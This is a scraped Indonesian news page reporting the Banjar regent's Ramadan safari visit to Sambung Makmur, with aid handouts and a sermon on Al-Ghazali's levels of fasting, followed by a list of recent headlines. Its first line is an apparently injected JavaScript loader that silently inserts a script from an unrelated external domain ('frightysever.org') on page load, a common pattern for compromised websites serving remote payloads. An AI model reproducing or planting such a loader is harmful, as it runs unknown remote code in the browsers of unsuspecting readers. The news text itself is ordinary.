(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Bupati Banjar dan Jajaran Safari Ramadan ke Sambung Makmur


KANALKALIMANTAN.COM, MARTAPURA – Masjid Jami Nurul Huda, Desa Madurejo RT 01 Kecamatan Sambung Makmur dipilih menjadi lokasi rangkaian Safari Ramadan Bupati Banjar H Saidi Mansyur dan jajaran Pemkab Banjar.

Bupati Banjar H Saidi Mansyur dan Wabup Banjar Habib Idrus Al Habsyi beserta jajaran bersilaturahmi dan berbuka puasa bersama masyarakat di Sambung Makmur pada Jumat (7/3/2025) sore.

Kegiatan Safari Ramadan yang dilaksanakan Pemkab Banjar tersebut disambut antusias warga Desa Madurejo, Kecamatan Sambung Makmur yang ikut berbuka puasa bersama sekaligus silaturahmi dengan Bupati Banjar H Saidi Mansyur. Diketahui, H Saidi Mansyur yang merupakan putera asli dari desa setempat.

Baca juga: Hujan Ekstrem Akibatkan Kenaikan Debit Air, Warga Diimbau Waspada


Dalam silaturahmi Safari Ramadan kali ini Saidi Mansyur berharap akan terjalin komunikasi yang baik antar umaro, ulama dan seluruh lapisan masyarakat untuk mewujudkan suasana daerah yang tenang dan aman.

“Semoga di bulan suci Ramadan ini silaturahmi yang kita jalankan dapat mempererat tali ukhuwah sesama umat islam dan sama sama menjaga suasana kondusif agar bisa beribadah dengan nyaman dan aman,” harap dia.

Pada kesempatan ini juga dilakukan penyerahan bantuan hibah bidang keagamaan kepada 8 yayasan pondok pesantren dari Pemkab Banjar, kemudian bantuan sosial paket sembako kepada warga lansia.

Baca juga: Berbuka Puasa di Pemangkih Baru, Ini Harapan Bupati Banjar

Ada pula penyerahan bantuan kepada anak yatim dari anggota DPRD Ahmad Sarwani serta penyerahan bantuan dari Ketua TP PKK Hj Nurgita Tiyas kepada penerima manfaat.

Sementara itu dalam tausiahnya Habib Syekh Alaydrus menerangkan tentang tingkatan orang dalam berpuasa menurut Imam Ghazali dalam kitab Ihya Ulumuddin.

Puasa level pertama adalah levelnya orang awam, level ini menurut dia kebanyakan dilakukan masyarakat umum. Level kedua adalah puasanya orang khusus, berpuasa tidak hanya menahan lapar dan haus tetapi  juga menahan seluruh anggota badan dari perbuatan yang bisa membatalkan puasa.

Baca juga: Coblosan Ulang 19 April, Pemko Banjarbaru Siapkan Rp12,9 Miliar untuk PSU

Kemudian level ketiga adalah puasanya orang super khusus, standar batal puasa yang sangat tinggi, yaitu apabila terbersit dalam hati dan pikirannya selain Allah, seperti hal tentang memikirkan harta  dan keduniaan.

“Tujuan Imam Gazali mengklasifikasikan hal tersebut agar setiap tahunnya kita berupaya meningkatkan kualitas ibadah puasa,” tutup dia. (kanalkalimantan.com/dkispbanjar/kk)

Reporter: kk
Editor: Dhani


Muhammad Andi

Recent Posts

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

5 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

6 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

7 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

12 jam ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

13 jam ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

1 hari ago

This website uses cookies.